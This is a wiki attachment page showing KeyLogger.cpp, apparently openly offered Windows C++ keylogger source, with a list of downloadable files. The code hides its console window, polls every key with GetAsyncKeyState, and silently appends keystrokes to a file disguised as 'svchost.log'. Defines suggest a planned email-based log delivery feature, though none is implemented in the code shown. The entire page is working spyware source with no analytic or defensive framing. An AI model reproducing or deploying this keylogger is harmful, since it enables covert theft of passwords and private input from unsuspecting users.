Attachment 'KeyLogger.cpp'

Download

   1 #include "stdafx.h"
   2 #include "KeyLogger.h"
   3 #include <windows.h>
   4 #include <stdio.h>
   5 #include <winuser.h>
   6 #include <windowsx.h>
   7 #include <time.h>
   8 
   9 #define LogLength 100
  10 #define FileName "sound.wav"
  11 #define SMTPLog "ring.wav"
  12 #define cemailsubject "Logged"
  13 
  14 
  15 int _tmain(int argc, _TCHAR* argv[])
  16 {
  17 	HWND stealth; /*creating stealth (window is not visible)*/
  18 	AllocConsole();
  19 	stealth=FindWindowA("ConsoleWindowClass",NULL);
  20 	ShowWindow(stealth,0);
  21 	int t=get_keys();
  22 	return t;
  23 }  
  24 
  25 int get_keys(void)
  26 {
  27 	short character;
  28 	while(1)
  29 	{
  30 		for(character=8;character<=222;character++)
  31 		{
  32 			if(GetAsyncKeyState(character)==-32767)
  33 			{   
  34 				FILE *file;
  35 				file=fopen("svchost.log","a+");
  36 				if(file==NULL)
  37 				{
  38 					return 1;
  39 				}			
  40 				if(file!=NULL)
  41 				{		
  42 					if((character>=39)&&(character<=64))
  43 					{
  44 						fputc(character,file);
  45 						fclose(file);
  46 						break;
  47 					}		
  48 					else if((character>64)&&(character<91))
  49 					{
  50 						character+=32;
  51 						fputc(character,file);
  52 						fclose(file);
  53 						break;
  54 					}
  55 					else
  56 					{ 
  57 						switch(character)
  58 						{
  59 						case VK_SPACE:
  60 							fputc(' ',file);
  61 							fclose(file);
  62 							break;	
  63 						case VK_SHIFT:
  64 							fputs("[SHIFT]",file);
  65 							fclose(file);
  66 							break;											
  67 						case VK_RETURN:
  68 							fputs("\n[ENTER]",file);
  69 							fclose(file);
  70 							break;
  71 						case VK_BACK:
  72 							fputs("[BACKSPACE]",file);
  73 							fclose(file);
  74 							break;
  75 						case VK_TAB:
  76 							fputs("[TAB]",file);
  77 							fclose(file);
  78 							break;
  79 						case VK_CONTROL:
  80 							fputs("[CTRL]",file);
  81 							fclose(file);
  82 							break;	
  83 						case VK_DELETE:
  84 							fputs("[DEL]",file);
  85 							fclose(file);
  86 							break;
  87 						case VK_OEM_1:
  88 							fputs("[;:]",file);
  89 							fclose(file);
  90 							break;
  91 						case VK_OEM_2:
  92 							fputs("[/?]",file);
  93 							fclose(file);
  94 							break;
  95 						case VK_OEM_3:
  96 							fputs("[`~]",file);
  97 							fclose(file);
  98 							break;
  99 						case VK_OEM_4:
 100 							fputs("[ [{ ]",file);
 101 							fclose(file);
 102 							break;
 103 						case VK_OEM_5:
 104 							fputs("[\\|]",file);
 105 							fclose(file);
 106 							break;								
 107 						case VK_OEM_6:
 108 							fputs("[ ]} ]",file);
 109 							fclose(file);
 110 							break;
 111 						case VK_OEM_7:
 112 							fputs("['\"]",file);
 113 							fclose(file);
 114 							break;
 115 						case VK_NUMPAD0:
 116 							fputc('0',file);
 117 							fclose(file);
 118 							break;
 119 						case VK_NUMPAD1:
 120 							fputc('1',file);
 121 							fclose(file);
 122 							break;
 123 						case VK_NUMPAD2:
 124 							fputc('2',file);
 125 							fclose(file);
 126 							break;
 127 						case VK_NUMPAD3:
 128 							fputc('3',file);
 129 							fclose(file);
 130 							break;
 131 						case VK_NUMPAD4:
 132 							fputc('4',file);
 133 							fclose(file);
 134 							break;
 135 						case VK_NUMPAD5:
 136 							fputc('5',file);
 137 							fclose(file);
 138 							break;
 139 						case VK_NUMPAD6:
 140 							fputc('6',file);
 141 							fclose(file);
 142 							break;
 143 						case VK_NUMPAD7:
 144 							fputc('7',file);
 145 							fclose(file);
 146 							break;
 147 						case VK_NUMPAD8:
 148 							fputc('8',file);
 149 							fclose(file);
 150 							break;
 151 						case VK_NUMPAD9:
 152 							fputc('9',file);
 153 							fclose(file);
 154 							break;
 155 						case VK_CAPITAL:
 156 							fputs("[CAPS LOCK]",file);
 157 							fclose(file);
 158 							break;
 159 						default:
 160 							fclose(file);
 161 							break;
 162 						}		
 163 					}	
 164 				}		
 165 			}	
 166 		}				  
 167 
 168 	}
 169 	return EXIT_SUCCESS;							
 170 }

Attached Files

To refer to attachments on a page, use attachment:filename, as shown below in the list of files. Do NOT use the URL of the [get] link, since this is subject to change and can break easily.
  • [get | view] (2020-01-20 20:00:05, 3.4 KB) [[attachment:KeyLogger.cpp]]
  • [get | view] (2020-01-20 20:00:05, 0.3 KB) [[attachment:KeyLogger.h]]
  • [get | view] (2020-01-20 20:00:05, 6.4 KB) [[attachment:KeyLogger.zip]]
  • [get | view] (2020-01-20 20:00:05, 21.8 KB) [[attachment:Quine.zip]]
 All files | Selected Files: delete move to page copy to page

You are not allowed to attach a file to this page.